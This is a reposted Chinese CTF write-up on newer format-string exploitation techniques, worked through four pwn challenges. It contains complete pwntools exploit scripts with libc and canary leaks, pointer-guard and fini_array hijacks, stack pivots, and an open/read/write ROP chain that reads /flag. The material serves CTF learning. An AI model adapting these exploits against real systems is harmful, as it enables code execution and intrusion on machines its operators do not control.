四道题看格串新的利用方式

  • A+
所属分类:逆向工程


    更多全球网络安全资讯尽在邑安全

原文来自:安全客

原文链接:https://www.anquanke.com/post/id/221267

四道题看格串新的利用方式

前言

相对于基本的%p进行leak和%n写入,最近几年出现了不少新的格式化字符串的利用方式,这里以四道题为例,讲下四个新的方法。

正文

2020 ciscn 华南分区赛 : same

这道题主要涉及到到一个比较偏的格串符号*,在wiki中可以看到关于它的用法:

四道题看格串新的利用方式

知道这一点,下面的题目也就不难了。

首先看下程序流程:

四道题看格串新的利用方式

即输入一个数以及一个9字节的格式化字符串,从而使上述输入的数与v3的值相同。

其中v3的值为随机数:

四道题看格串新的利用方式

这里因为限制了只能输入9个字节,所以需要用到*(type,表示取对应函数参数的值),其payload为:%7*$p%6$n。这样即可将v3(在格串中对应偏移为7)的值输入到v4(偏移为6)中,使两数相等,进而getshell。

2020 ciscn 线下 awd :pwn3thread

这道题本质上还是属于栈溢出的内容,但因为涉及到printf函数中的一个函数劫持,所以也可以归为格串的利用。

main函数如下:

四道题看格串新的利用方式

即重复创建线程并等待返回。

线程中执行的函数:

四道题看格串新的利用方式

该函数中首先保存了返回地址,并在结束前恢复返回地址,所以无法通过劫持该函数的返回地址来进行getshell。

该程序中用到了__printf_chk函数,该函数与printf的区别在于:

  • 不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n

  • 在使用 %n 的时候会做一些检查。

__printf_chk调用过程中有一个的buffered_vfprintf函数,相应漏洞内容如下:

四道题看格串新的利用方式

其中fs寄存器指向线程栈地址之后连续的一块地址,因此可以通过栈溢出劫持该指针,进而达到任意代码执行的目的。

思路:

  1. 利用%p打印出libc地址和canary值,以便栈溢出

  2. 泄漏处libc+0x3F0990处的值,并进行移位操作,再与onegadget进行异或得到一格特定值。

  3. 将该特定值通过栈溢出的方式写入到fs+0x30处,从而达到getshell目的。

exp:

from pwn import *
p = process("./pwn")
libc = ELF("./pwn").libc
one = [0x4f3d5,0x4f432,0x10a41c]
def ROR(i,index):
tmp = bin(i)[2:]
tmp = (64-len(tmp))*'0'+tmp
for j in range(index):
tmp = tmp[-1]+tmp[:-1]
return int(tmp,2)

#leak libc and canary
i = 7+5
p.sendline("%p"*i)
p.recvuntil("0x")
libc_base =int(p.recv(12),16)-0x3ED8D0
libc.address = libc_base
print hex(libc_base)
for i in range(i-5):
p.recvuntil("0x")
canary =int(p.recv(),16)
print hex(canary)

#leak libc+0x3F0988
payload = '%p'*6+'%s'+'aa'+p64(libc.address+0x3F0988)
p.sendline(payload)
p.recvuntil("025")
p.recvuntil("0x")
p.recvuntil("6161732570257025")

#overflow and getshell
a = u64(p.recv(8))
b = ROR(a,0x11)
c = b ^ libc.address+one[1]
print hex(a)
print hex(b)
payload = "a"*0x38+p64(canary)
payload = payload.ljust(0x850,'x00')
payload += p64(0)*6+p64(c)
p.sendline(payload)

p.interactive()

2019 delta ctf : unprintable

很经典的一道关于格式化字符串的利用,这里也稍微讲解一下。

程序截图如下:

四道题看格串新的利用方式

关闭了回显,并且存在格式化字符串漏洞,但是直接通过exit函数退出了,并且栈上也没有什么可以利用的点:

四道题看格串新的利用方式

但细心点可以发现下面两个地址:

四道题看格串新的利用方式

在调用exit函数退出程序时,会调用到的_dl_fini函数,而该函数会根据link_map的l_addr偏移量来调用&fini_ararry+l_addr中存放的函数:

if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

在gdb中调试可以发现如下代码:

四道题看格串新的利用方式

四道题看格串新的利用方式

可以看到将会调用[0x600e38+8]+[rbx]处的值对应的函数,而其中rbx即是上面_dl_init+139前一个地址,该地址即为l_addr的地址。

利用该漏洞,可以通过修改l_addr,从而再一次进行read和printf,并且这一次在栈上我们可以发现一些有用的东西:

四道题看格串新的利用方式

通过劫持这几个地址即可重复的实现格式化字符串漏洞的利用。接着通过编写rop串将stderr修改为onegadget然后执行即可。

exp:

from pwn import *
p = process("./de1ctf_2019_unprintable",env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF("./libc-2.23.so")

#获取stack地址,并计算出要修改的地址
p.recvuntil("0x")
stack = int(p.recv(12),16)-0x110-8
print hex(stack)

#劫持l_addr,从而在buf中伪造fini_array,再一次读并输出格式化字符串
payload = "%"+str(0x298)+"c%26$hn"
payload = payload.ljust(0x10,'x00')+p64(0x4007A3)
p.send(payload)


sleep(1)
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
stderr_ptr_addr = 0x0000000000601040
stdout_ptr_addr = 0x0000000000601020
one = [0x45226,0x4527a,0xf0364,0xf1207]
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = one[3]
offset = one_gadget - libc.sym['_IO_2_1_stderr_']
adc_p_rbp_edx = 0x00000000004006E8

rop_addr = 0x0000000000601260
tmp = stderr_ptr_addr-0x48

#利用adc将stderr修改为one_gadget
rop = p64(csu_pop)
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)

#call onegadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)

rop_addr = rop_addr-0x18
addr1 = rop_addr&0xffff+0x10000
addr2 = (rop_addr>>16)&0xffff+0x10000
addr3 = (rop_addr>>32)&0xffff+0x10000


#0 劫持printf的返回地址,并将指针指向返回地址的下一地址,方便后面迁栈
payload = '%' + str(0xA3) + 'c%23$hhn'
payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'
p.send(payload)
sleep(1)
#1-2为迁栈过程,即不断劫持printf的返回地址,并依次将下一地址修改为指向buf上存放rop串处,并且最终将返回地址改为pop rsp,从而执行rop串
#1
stack = stack+2
payload = '%' + str(0xA3) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
tmp2 = tmp1+0xa3
payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'
p.send(payload)
sleep(1)


#2
stack = stack+2
payload = '%' + str(0x60) + 'c%13$hn'
payload += '%' + str(0xA3-0x60) + 'c%23$hhn'
tmp1 = (stack-0xa3)&0xff
payload += '%' + str(tmp1) + 'c%18$hhn'
p.send(payload)
sleep(1)

#3 继续将返回地址的下一地址修改为指向buf上存放rop串处,并且最终将返回地址改为pop rsp,从而执行rop串
payload = '%13$hn'
payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn'
payload = payload.ljust(0x200,'x00')
payload += rop
#gdb.attach(p,'b *0x4007C1')
p.send(payload)
sleep(1)
#重新获取shell,并恢复stderr
p.sendline("sh >&2")
p.interactive()

2020 ciscn 线下 break&fix : anti

程序主要功能如下:

四道题看格串新的利用方式

四道题看格串新的利用方式

可以看到与unprintable类似,同样进行了close(1)。但用seccomp查看可以发现禁用了execute系统调用:

四道题看格串新的利用方式

并且还开启了pie,因此做法就不能与unprintable相同了。

这里利用了IO结构中的_fileno,正常情况下,stdin、stdout、stderr分别对应1、2、3。通过修改这个值,可以将输入输出重定向到其他标识符中。这里只关闭了1(即标准输出),但是2(也就是标准错误输出)没有关闭,因此可以将其改为2,通过标准错误输出来进行输出,接着就可以进行leak,然后迁栈到buf中进行orw了。

这里的关键点在于如何修改stdout的_fileno,通过观察可以发现在给出的栈地址相对偏移-70的地方存在_IO_2_1_stdout的地址:

四道题看格串新的利用方式

通过修改其低字节为x90即可指向_fileno,接着就是如何对其进行写入操作了。

这里需要爆破一下,将从vuln返回后能够进入到读取字符串处,只要将rbp改为上述栈地址+0x18处,即可实现修改:

四道题看格串新的利用方式

为了实现这一目的,首先先看下栈上有什么东西:

四道题看格串新的利用方式

可以看到存在三个栈指针地址(048),以及一系列pie地址,第一步要做3个操作:

  1. 2处低2位爆破为上述目标地址,从而进行读写。

  2. 将返回地址(即1)修改为ret指令的地址,以便执行2处地址。(因为只能通过%hhn写入一字节,直接修改这个地址会直接跳转过去导致失败)

  3. 将rbp(即0)修改为给出的栈地址-0x58

这里2和3步骤需要同时完成,同时,为了使读取_fileno后返回还能正常输入,这里需要将栈地址-0x58的值修改为栈地址+0xc0,也就是使其返回后执行start函数(这里因为将_fileno修改为2了,所以close(1)不会再产生影响)。

到这里就完成了输出的重定向,接着就是leak,然后迁栈以及orw即可了。

exp:

from pwn import *
p = process("./anti")
libc = ELF("anti").libc
p.recvuntil(" 0x")
stack = int(p.recv(12),16)
print "stack1 : " + hex(stack)

#chang stdout
pay = "%"+str((stack-0x18)&0xff)+"c%6$hhn"
p.sendline(pay)

pay = "%"+str((stack-0x70)&0xff)+"c%10$hhn"
p.sendline(pay)

pay = "%"+str(0x90)+"c%6$hhn"
p.sendline(pay)


#set ret addr2 1/16
pay = "%"+str((stack-0x18)&0xff)+"c%10$hhn"
p.sendline(pay)

pay = "%"+str((stack-0x8)&0xff)+"c%6$hhn"
p.sendline(pay)

pay = "%"+str(0xdf)+"c%6$hhn"
p.sendline(pay)

pay = "%"+str((stack-0x8+1)&0xff)+"c%10$hhn"
p.sendline(pay)

pay = "%"+str(0x4c)+"c%6$hhn"
p.sendline(pay)


#rbp -> _start

pay = "%"+str((stack-0x58)&0xff)+"c%10$hhn"
p.sendline(pay)

pay = "%"+str((stack+0xc0)&0xff)+"c%6$hhn"
p.sendline(pay)


#set ret addr1 and stack(rbp)

pay = "%"+str((stack-0x10)&0xff)+"c%10$hhn"
p.sendline(pay)

pay = "%"+str(0x3c)+"c%6$hhn"
pay += "%"+str((stack-0x58-0x3c)&0xff)+"c%10$hhn"
p.sendline(pay)

#set _fileno to 2
p.sendline("x02")
p.send("n")


#leak
p.recvuntil(" 0x")
stack = int(p.recv(12),16)
print "stack2 : " + hex(stack)
p.sendline("%7$p%13$p")

p.recvuntil("0x")
pie = int(p.recv(12),16) -0xf96
print "pie : " + hex(pie)

p.recvuntil("0x")
libc.address = int(p.recv(12),16) -0x20840
print "libc_base : " + hex(libc.address)



#orw rop chain
buf = pie+0x202040
pop_rsp_4 = pie + 0x000000000000104d
pop_rax = 0x000000000003a738 + libc.address
pop_rdi = 0x0000000000021112 + libc.address
pop_rdx = 0x0000000000001b92 + libc.address
pop_rsi = 0x00000000000202f8 + libc.address
syscall = 0x00000000000bc3f5 + libc.address

rop = ''
rop += p64(pop_rax)
rop += p64(2)
rop += p64(pop_rdi)
rop += p64(buf+0x100)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(pop_rdx)
rop += p64(0)
rop += p64(syscall)#open("/flag",0,0)

rop += p64(pop_rax)
rop += p64(0)
rop += p64(pop_rdi)
rop += p64(1)
rop += p64(pop_rsi)
rop += p64(buf+0x500)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(syscall)#read(1,buf+0x500,0x100)

rop += p64(pop_rax)
rop += p64(1)
rop += p64(pop_rdi)
rop += p64(2)
rop += p64(pop_rsi)
rop += p64(buf+0x500)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(syscall)#write(2,buf+0x500,0x100)


#set pop_rsp
pay = "%"+str((stack-0x8)&0xff)+"c%6$hhn"
p.sendline(pay)

pay = "%"+str(pop_rsp_4&0xff)+"c%10$hhn"
p.sendline(pay)

pay = "%"+str((stack-0x8+1)&0xff)+"c%6$hhn"
p.sendline(pay)

pay = "%"+str((pop_rsp_4>>8)&0xff)+"c%10$hhn"
p.sendline(pay)


#set return address and write rop_gadget
pay = "%"+str((stack-0x10)&0xff)+"c%6$hhn"
p.sendline(pay)
p.recv()
#gdb.attach(p,'b *$rebase(0xF35)')
pay = "%"+str(0x3c)+"c%10$hhn"
pay = pay.ljust(0x18,'x00')
pay += rop
pay = pay.ljust(0x100,'x00')
pay += '/flagx00'
p.sendline(pay)
p.recv(0x3c)


p.interactive()
欢迎收藏并分享朋友圈,让五邑人网络更安全

四道题看格串新的利用方式

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 


本文始发于微信公众号(邑安全):四道题看格串新的利用方式

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: